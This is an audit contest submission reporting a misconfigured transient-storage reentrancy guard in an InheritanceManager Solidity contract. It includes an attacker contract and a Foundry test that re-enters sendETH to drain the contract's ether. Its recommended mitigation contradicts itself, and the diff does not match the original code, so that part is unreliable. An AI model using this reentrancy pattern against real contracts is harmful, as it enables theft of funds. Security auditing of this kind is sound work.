Submission Details
Severity:
Reentrancy Guard not working as expected
Description: The nonReentrant modifier in the InheritanceManager contract is not functioning correctly, leaving the intended functions unprotected.
modifier nonReentrant() {
assembly {
@> if tload(1) { revert(0, 0) }
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}
tstore modifies tSlot0, but tload checks tSlot1. This means that the reentrancy guard is not working as expected.
Impact: This could allow an attacker to re-enter the payInheritance function and drain the contract of funds.
Proof of Concept: add the following attacker contract and test case to simulate the scenario.
// SPDX-License-Identifier: UNLICENSED
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {InheritanceManager} from "../../src/InheritanceManager.sol";
contract ReentrancyOwner is Ownable{
InheritanceManager public inheritanceManager;
bool internal reentrancyLock = false;
constructor() Ownable(msg.sender){}
function setInheritanceManager(address _im) public onlyOwner {
inheritanceManager = InheritanceManager(_im);
}
function attack() public {
reentrancyLock = true;
inheritanceManager.sendETH(1 ether, address(this));
}
receive() external payable {
if(reentrancyLock){
reentrancyLock = false;
// reentrancy attack code here
inheritanceManager.sendETH(1 ether, address(this));
}
}
}
function test_mockReentrancy() public {
// create hack contract and pass ownership to the hack contract
vm.startPrank(owner);
ReentrancyOwner reentrancyOwner = new ReentrancyOwner();
vm.stopPrank();
// set a InheritanceManager with the hack contract as owner
vm.prank(address(reentrancyOwner));
InheritanceManager testIM = new InheritanceManager();
// setup initial balance of the im contract
vm.deal(address(testIM), 2 ether);
assertEq(address(testIM).balance, 2 ether);
vm.startPrank(owner);
reentrancyOwner.setInheritanceManager(address(testIM));
reentrancyOwner.attack(); // attack only sends 1 ether, the other 1 ether is transferred by the reentrancy attack
assertEq(address(testIM).balance, 0);
assertEq(address(reentrancyOwner).balance, 2 ether);
vm.stopPrank();
}
Recommended Mitigation:
change the check tSlot to 1 in the nonReentrant modifier.
modifier nonReentrant() {
assembly {
- if tload(1) { revert(0, 0) }
+ if sload(0) { revert(0, 0) }
sstore(0, 1)
}
_;
assembly {
sstore(0, 0)
}
}
Updates
Lead Judging Commences
0xtimefliez 9 months ago
Submission Judgement Published Assigned finding tags:
Wrong value in nonReentrant modifier
0xtimefliez 9 months ago
Submission Judgement Published Assigned finding tags:
Wrong value in nonReentrant modifier
Rewards breakdown
nSLOC
211This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.